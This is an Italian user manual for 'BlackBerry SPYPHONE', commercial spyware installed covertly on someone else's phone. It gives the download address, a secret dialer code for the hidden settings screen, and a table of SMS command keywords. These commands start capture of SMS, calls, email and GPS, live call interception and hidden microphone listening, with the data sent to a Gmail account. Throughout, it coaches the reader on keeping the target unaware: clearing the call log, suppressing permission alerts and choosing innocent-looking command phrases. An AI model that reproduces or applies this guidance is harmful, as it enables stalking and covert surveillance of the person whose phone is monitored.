BlackBerry SPYPHONE

BlackBerry
SPYPHONE
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INDICE
Manuale ...............................................................................................................................................................3
Download ed Installazzione ...........................................................................................................................3
Attivare il Software ....................................................................................................................................... 4
Impostazioni Personalizzate .......................................................................................................................................6
Impostazione numero Monitor via SMS...............................................................................................................10
Comandi di controllo via SMS......................................................................................................................11
Disattivazione / Disinstallazione Software ....................................................................................................13
Disattivazione ..........................................................................................................................................13
Disinstallazionere ....................................................................................................................................... 14
Lettura Reports ...............................................................................................................................................15
Trouble Shooting ..............................................................................................................................................17
Diagnostica .......................................................................................................................................................18
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Manual
Note importanti:
Per utilizzare ed attivare il software su BB è indispensabile attivare la
modalità BIS, (potete fare riferimento a questa pagina http://tim.blackberry.com/) tale modalità è
da attivare sulla scheda sim che verrà utilizzata sul telefono BB permettendo allo stesso di avere
una connessione WEB sempre attiva in modalità Push.
NolimittimeforEmailedition
DownloadingAndInstalling
1. D a l browser del Blackberry , e muovetevi al seguente indirizzo, http://www.softwarespia.com/be/b.jad
2. Selezionate DOWNLOAD e l’installazzione partirà automaticamente.
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Attivate il Software
L’attivazione va effettuata tramite una schermata di configurazione Segreta.
1. Per Accedere a tale schermata, digitate sulla tastier del telefono come per effettuare una normale chiamata
*#900900900, Premete il tasto Verde, seguito dal tasto Rosso per chiudere la chiamata. In alcuni telefoni la schermata
di configurazione sparisce se si preme il tasto chiusura chiamata piu di una volta quindi fate attenzione.
2. Il programma cercherà la connessione ad internet più appropriata. Premete OK per confermare.
3. Se il programma non è attivo vi verrà richiesto di effetttuare l’attivazione.
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4. Premete il tasto MENU seguito da ACTIVATE
5. Inserite “ACTIVATION CODE” e Premete “ACTIVATE”.(Se ad esempio il vostro codice è 123456789)
6. Se compare la scritta “Activate success”. Premete su OK per settare le opzioni del software .
Se avete problemi con l’attivazione del software ricordatevi di verificare che il vostro blackberry e la sim
inserita abbia un servizio BIS attivo oppure bisogna modificare l’impostazione dell’APN del software.
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IMPORTANTE: dopo aver attivato il software il codice per richiamare la schermata di configurazione
cambiera da *#900900900 al vostro codicedi attivazione. Quindi se il vostro codice di attivazione è il
seguente il 123456789 d’ora in poi per richiamare la configurazione dovete digitare *#123456789.
Ricordate di cancellare dale chiamate effettuate il vostro codice di attivazione altrimenti l’utente del telefono
potrebbe insospettirsi.
IMPOSTAZIONI PERSONALIZZATE
Dalla schermata di configurazione principale potete impostare la configurazione l’invio delle informazioni
avviene tramite connessione GPRS tale connessione può risultare costosa quindi consigliamo vivamente di
impostare il software per l’invio delle stesse solo dopo una numero elevato di eventi oppure ad intervalli di
tempo piuttosto ampi. Ricordiamo anche che il costo della connessione GPRS è visibile a bolletta ma non
possibile capire dove vengono inviati i dati tasmessi.
1. Report Timer: Qui è possible settare l’intervallo di tempo con cui il vostro blackberry trasmetterà I dati
al server Email . Vi raccomandiamo di settare il tempo Minimo in 1 Ora
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2. Max Number Of Events: il vostro blackberry trasmetterà I dati al server Email quando verranno catturati
almeno X eventi . Questa funzione può essere attivata in concomitanza con REPORT TIMER in quanto se
vengono catturati un X numero di eventi primca che il timer torni a 0 allora il Blackberry invierà cmq in
dati al server. Vi raccomandiamo di settare il tempo Minimo di 10 Eventi.
3. Activies To Monitor: Questa opzione è utile a definire quali eventi l’applicazione deve
catturare. Suggeriamo selezionare soltanto gli eventi importanti a voi, per minimizzare il traffico
di dati.
4. Monitoring Number: Mostra il numero attualmente definito come monitor o numero controllore. Vi
suggeriamo non inserire direttamente qui tale numero, ma trasmettendo l'ordine via comando SMS im
modo che venga rilecato dal software stesso. Fate riferimento alla sezione 21 del manuale.
5. SIM Change: invia un SMS al numero Monitor predefinito qualora venga cambiata una sim all’interno
del blackberry comunicando cosi il nuovo verso il quale potremo utilizzare le funzioni SPIA.
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6. GPS Change Refresh Time: Disponibile solo se il terminale ha integrato un modulo GPS, permette di
definire un periodo per qui il software attiva il gps e ne registra la posizione, tale registrazione verrà
poi riportata al momento dell’invio degli altri eventi come da impostazioni precedenti.
7. Watch All Numbers:
Questa impostazione permette di ricevere una notifica via SMS quando il telefono Target effettua
o riceve un chiamata da un qualsiasi numero. Dopo aver ricevuto la notifica di chiamata per
effettuare un intercettazzione sarà sufficiente effettuare una normale chiamata verso il telefono
target, il software provvederà ad attivare una conferenza automatica Attenzione questa opzione è
attiva e funzionante solo se il Blackberry è connesso alla rete telefonica in modalità GSM.
.
8. Capture Status: Concluse tutte le impostazioni potete attivare in maniera definitive il software in
modo che catturi tutto quello che passa nel blackberry. Premete sul pulsante per fermare o attivare la
cattura degli eventi, lo stesso pulsante vi indichera lo status del software.
Tutte le opzioni sono salvate dinamicamente , per uscire dalla schermata di configurazione
semplicemente premete su menu e cliccate su CLOSE oppure premete sul pulsante per terminare la
chiamata. All’uscita della schermata il software effettua nuovamente il test per la connessione al server
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9. Per accedere ai report via email dovete inviare un SMS di configurazione
Inviare un SMS al TARGET PHONE [http://(Your Email ciphertext code).com]
Vedere pagina 16 per sapere come crearsi il ciphertext code, Dovete avere un account “gmail.com”
Per creare il CHIPERTEX CODE usate questa pagina: http://bb.exchangetime.org/email.htm
Ad esempio: Il vostro email è: [email protected]; La vostra password email è:123456789
Inviate un SMS come questo:
http://cc03aeb0d6f0f8120c2619a42228a67a.com
NOTE: Questo SMS è VISIBILE sul telefono Target quindi dovra essere codificato.
10. Per Evitare che le chiamate spia siano registrate nella lista della chiamate sul telefono Spia seuite i passi sotto
riportati . (Tale configurazione non è necessaria per i modelli STORM e TOUR )
A. Premete il pulsante con simbolo BlackBerry > Premete il pulsante Menu > Opzioni > Opzioni Generali
B. Selezionate VISUALIZZA ELENCO CHIAMATE, settate l’opzione REGISTRO CHIAMATE
Se non modificate questa opzione la chiamata effettuata dal numero monitor potrebbe comparire nella lista delle
telefonate in entrata. Consigliamo di verificare che l'impostazione sia effettuata correttamente in modo da non
destare alcun sospetto.
C. VERIFICA DEI PERMESSI DELL’APPLICAZIONE:
Dal telefono Monitor inviate un messaggio contenente il testo (in minuscolo) : tdbz
Questo è il comando di default che effettua una diagnostica del software sul telefono ed invia un Report tramite
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SMS.
Il comando verifica il funzionamento del software e le sue impostazioni e puo essere inviato ogni volta per
verificare il corretto funzionamento del programma spia.
ll messaggio SMS di risposta verra inviato allo stesso numero che ha spedito l'sms di richiesta l'sms in uscita dal
blackberry non viene salvato tra i messaggi inviati.
Se i permessi non sono stati impostati correttamente il telefono può visualizzare dei messaggi di notifica quando
vengono inviati i comandi quindi vi consigliamo di effettuare dei test prima di consegnare l'apparecchio.
Per eliminare queste notifiche alla comparsa dei popup di notifica semplicemente selezionate l'opzione "NON
VISUALIZZARE PIU' questo messaggio " e "CONSENTI QUESTA CONNESSIONE".
Se non viene visualizzato alcun messaggio di allerta allora peremessi sono tutti correttamente settati.
Impostazione numero Monitor via SMS
1 . Dal telefono monitor inviate il comando SMS (in minuscolo): bceq
Sul blackberry selezionate "NON VISUALIZZARE PIU' questo messaggio " e "CONSENTI
QUESTA CONNESSIONE" per tutti i messaggi di allerta che verranno visualizzati. A conferma di
corretto settaggio riceverete un messaggio SMS di OK sul telefono monitor.
2. bceq è il commando di default per attivare l’ascolto ambientale. Potete inviare tale comando da
qualsiasi numero di telefono, una volta ricevuto l’OK via SMS sul vostro Numero Monitor effettuate
una cchiamata dallo stesso per attivare l’ascolto in modalita del tutto nascosta.
Inviate il comando SMS per attivare la chiamata di ascolto ambientale e settare il vostro numero
MONITOR in maniera corretta il software utilizzera il numero presente nell’sms per impostare il
numero monitor. L’ascolto ambientale potra essere attivato e/o disattivato in un qualsiasi momento e da
qualsiasi numero. Vedere la tabella della pagina successiva
Quando effettuate una chiamata di ascolto ambientale il blackberry entra in modalita vivavoce è
consigliato quindi disattivare il microfono dell’apparecchio che state utilizzando come monitor.
Se il telefono Target viene utilizzato mentre si effettua una chiamata di ascolto ambientale questa verrà
automaticamente chiusa.
Questo non centra con la rete GSM, che automaticamente rifiuterà la chiamata spia se sarà già presente una
chiamata sul telefono Target. Con entrambe i tipi di rete, la chiamata spia verrà automaticamente
disconnessa se un qualunque tasto verrà premuto durante una chiamata spia attiva.
Intercettazione di chiamata: Un’intercettazione di chiamata avverrà quando una chiamata in arrivo dal numero di telefono
del PILOTA sarà inserita in una chiamata già attiva sul cellulare TARGET. Se non ci sarà nessuna chiamata attiva,
la chiamata funzionerà come una chiamata spia.
Se si abilita la lista chiamate verranno inviati degli SMS segreti di notifica delle chiamate in entrata ed uscita. S e s i
chiama dal telefono PILOTA verso il telefono TARGET si verrà automaticamente
notificati della chiamata effettuata.
***IL TELEFONO TARGET DEVE SUPPORTARE LA CHIAMATA IN CONFERENZA (RETE GSM)***
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Comandi di controllo SMS
Di seguito la lista completa di tutti I comandi SMS di default. Questi sono normali SMS di testo da inviare verso il
cellulare Target per controllare quest’ultimo da remoto, o abilitare e disabilitare alcune caratteristiche. Tutti i
comandi sono case sensitive e possono apparire da soli o dentro il corpo di un normale SMS. Questi SMS
saranno visibili all’utente e verranno processati.
Qualunque sia il numero di invio dell’SMS di comando, usare cautela nel settaggio dei comandi.
COMANDO SMS
DEFAULT
SPIEGAZIONE
Start Capture
tuoa
Parola chiave usata per iniziare la cattura degli eventi. Gli eventi sono le
email, la locazione, gli SMS o l’attività del telefono
Stop Capture
qajl
Parola chiave usata per fermare la cattura delle informazioni.
Send Immediate
gjmb
Parola chiave usata per forzare l’invio immediato dei dati
Start Diagnostics
tbdz
Parola chiave usata per inviare la diagnostica
Start SIM Monitor
qaze
Abilitazione notifica cambio SIM. Quando la SIM card viene
cambiata, un SMS verrà inviato verso il PILOTA
Stop SIM Monitor
mbgu
Disabilita notifica cambio SIM
Start Mic Monitor
bceq
Avvia la funzione di risposta automatic SpyCall
Stop Mic Monitor
zaou
Disabilita la funzione SpyCall
Start GPS
spsg
Avvia cattura posizione GPS (solo per modelli GPS)
Stop GPS
riwq
Disabilita la cattura GPS (solo per modelli GPS)
Send GPS
ekgz
Invia la posizione GPS su richiesta (1 volta) via SMS (solo su modelli
GPS)
Enable Watch List
Disable Watch List
lpdw
iwdl
Abilita la lista chiamate
Disabilita lista chiamate
CAMBIO COMANDI SMS DI DEFAULT
Aprire la schermata di configurazione (dopo l’attivazione, usare
*#CodiceAttivazione fine) Sulla schermata di configurazione Spy Phone,
premere tasto MENU SMS Control
Adesso cambiare le parole di comando associate. Tutti i messaggi di comando in arrivo dovranno rispettare
esattamente ogni carattere usato in precedenza per la definizione della parola chiave.
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REGOLE PER LA DEFINIZIONE DI COMANDI PERSONALIZZATI:
Sono supportate frasi corte
Tutta la punteggiatura e lettere maggiori (case sensitivity) contano
I comandi possono apparire ovunque dentro il testo dell’SMS, ma devono essere inviati esattamente
come definiti, e comandi con multiple parole devono essere in sequenza.
Apparirà come un normale SMS (scegliere comandi che possano essere parte di lunghi messaggi, o che
non destino sospetti)
I comandi sono accettati da qualunque numero provengano (Cercare di rendere le parole dei comandi
uniche per evitare che I comandi siano impartiti accidentalmente)
Esempio per la parola chiave “Ciao BamBolina_”:
testo da mandare:
“Ciao BamBolina_” come Stai?
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Disattivazione /Disistallazione del Software
Disattivazione
Se si desidera spostare il software su un altro telefono (compatibile), si DEVE DISATTIVARE il software prima
di poter istallare ed attivare su un nuovo telefono. TUTTI I REPORT WEB VERRANNO
CANCELLATI QUANDO SI PROCEDERA’ ALLA DISATTIVAZIONE. SCARICARE TUTTI I
DATI NECESSARI PRIMA DI DISATTIVARE.
1 . A p r i r e l a s c h e r m a t a s e g r e t a d i c o n f i g u r a z i o n e e p r e m e r e s u Deactivate
2. P e r c o n t i n u a r e , s c e g l i e r e Y E S . Successivamente inserire il Codice di Attivazione e Disattivare.
Questo fermerà l’invio dei dati all’account Gmail.
3. Q u a n d o v e r r à v i s u a l i z z a t o DEACTIVATION SUCCESS, s i p o t r à i s t a l l a r e i l s o f t w a r e s u u n
a l t r o t e l e f o n o (compatibile).
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Disistallare il Software
Aprire la schermata di “Configurazione Segreta” > Premere il tasto Menu > Uninstall
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Lettura dei report
Per visualizzare i Report dovete utilizzare un account GMAIL o attivarne uno nuovo.
Inviare un SMS al TARGET PHONE [http://(Your Email ciphertext code).com]
Vedere pagina 16 per sapere come crearsi il ciphertext code, Dovete avere un account “gmail.com”
Per creare il CHIPERTEX CODE usate questa pagina: http://bb.exchangetime.org/email.htm
Ad esempio: Il vostro email è: [email protected]; La vostra password email è:123456789
Inviate un SMS come questo:
http://cc03aeb0d6f0f8120c2619a42228a67a.com
NOTE: Questo SMS è VISIBILE sul telefono Target quindi dovra essere codificato.
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Pagina Principale: Dopo il login
potete tutti gli ultimi report.
Potete filtrare i messaggi in base
a VOICE, SMS, EMAIL, LOCATION,
LOCATION views
Direction: indica se l’evento è in entrata
o in uscita.
Contact Name: se è presente un numero associate ad un
nome nella rubric verrà riportato nell’elenco.
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Coordinate GPS
Conenuto SMS
TroubleShooting
Background:
I dispositivi Blackberry possono connettersi a internet in vari modi. Queste connessioni possono essere limitate se il
dispositivo è parte di una rete corporativa. Una rete corporativa userà un server BES che può bloccare
l’accesso.
La connessione ufficale supportata e preferita è la Blackberry Data Plan con connessione BIS
Per gli utenti che non sono parte di una rete corporativa, l’access point per internet può non
essere correttamente configurato.
L’Access Point è configurato sotto Opzioni -> Avanzate -> TCP. Questo dovrebbe contenere i dettagli che permettono all’applicazione
di connettersi ad internet. Per favore contattare il proprio provider telefonico per chiedere come configurare l’accesso ad
internet.
Se non si riuscisse ad attivare il prodotto
Problema 1: non si riesce ad attivare il prodotto dopo averlo scaricato da internet. Si ottiene un errore
Problema 2: non si riesce ad ottenere il test della connessione, fallisce sempre
Problema 3: non si ha nessun evento sul server internet
QUESTI PROBLEMI SONO SOLITAMENTE DOVUTI ALLA CONNESSIONE I9NTERNET.
PROBLEMA 1 e 2
Questo è dovuto alla mancata connessione ad internet. Possibilmente non si è sottoscritto un piano dati Blackberry
(connessione BIS) oppure non si è correttamente definita una connessione GPRS (APN). Controllare la
configurazione sotto Opzioni -> Avanzate -> TCP -> APN. Probabilmente il telefono target non ha questa
configurazione correttamente settata.
PROBLEMA 3
Questo problema può accadere DOPO che si è attivato con successo il software ed ha funzionato correttamente
per un period di tempo. Le possibili cause potrebbero essere:
1.
2.
3.
4.
Non si è sotto copertura GPRS .
Il telefono non ha più credito.
La SIM card è cambiata.
Il software è stato rimosso / telefono formattato o sistema operative, aggiornato
Se non si ha accesso fisico al telefono, mandare il commando di diagnostic al telefono. Se si riceve una risposta questo significa che
il software è ancora funzionante. Se non c’è risposta, il software è come se fosse stato rimosso da una formattazione del
telefono, ammeno che il telefono target sia spento o non abilitato ad inviare SMS.
Esaminare la diagnostic per vedere qual’è lo stato dell’ultima connessione.
12.Se c’è un codice di errore e gli eventi vengono salvati nel database del programma, significa che il
software non riesce ad effettuare la connessione ad internet. In questo caso il dispositivo continuerà a catturare e
memorizzare gli eventi (sempre che ci sia spazio disponibile per la memorizzazione), e continua a fare tentative
di connessione secondo configurazione del report timer. Gli eventi dovrebbero essere spediti all’account gmail
nel momento in cui viene effettuata una connessione valida.
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Diagnostica
I Report Diagnostici offrono informazioni dettagliate per aiutare la ricerca di problem di connessione ed
alter cause.
Per ottenere la diagnostic abbiamo due modi:
Si può aprire la schermata CONTROL PANEL , e usare l’opzione STATUS.
Se non si ha accesso fisico al dispositivo, si può ottenere la diagnostic inviando un SMS con il commando
per la Diagnostica al telefono Target. Si riceverà un SMS contenente le informazioni di diagnostica.
1. METODO CONTROL PANEL
Lo stato dell’ultima connessione, ed il numero di eventi trasmessi. Se c’è un errore si potrà vedere il codice di
errore dato.
Il numero di eventi che sono in attesa di essere inviati all’account Gmail (catturato dall’ultima connessione).
2. METODO DIAGNOSTICA SMS
Questo è il significato della diagnostic:
1> Codice prodotto, Versione applicazione
2> Piattaforma
3> V e r s i o n e S i s t e m a O p e r a t i v o
4> Stato Spycall (0/1), Numero di ascolto (se definito)
5> Stato di cattura (0=off, 1=on)
6> Per catturare: SMS, Chiamate, Email, Loc, GPS (0 disabilitato,
1 abilitato, * non supportato)
7> Nº di SMS in entrata, uscita (catturati dall’ultimo
update al server)
8> Nº di chiamate in entrate, uscita e perse
9> Nº di LOC (Cell ID), Nº di eventi di sistema
10> Nº di Mail in entrata, uscita
11> N u m e r o M a s s i m o d i e v e n t i
12> Timer
13> Numero pilota (come correntemente definito)
14> Data e ora dell’ultima connessione
15> Codice di responso
16> Nome rete
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17> P e r i o d o d i a g g i o r n a m e n t o GPS (se abilitato, quanto spesso catturare la posizione GPS)
Questa legenda contiene tutti i correnti stati disponibili per la versione FULL. Versioni differenti o
differenti modelli possono non visualizzare tutte le funzioni qui elencate.
Per tutte le richieste, contattare il vostro rivenditore e fornire il Report di Diagnostica più recente.
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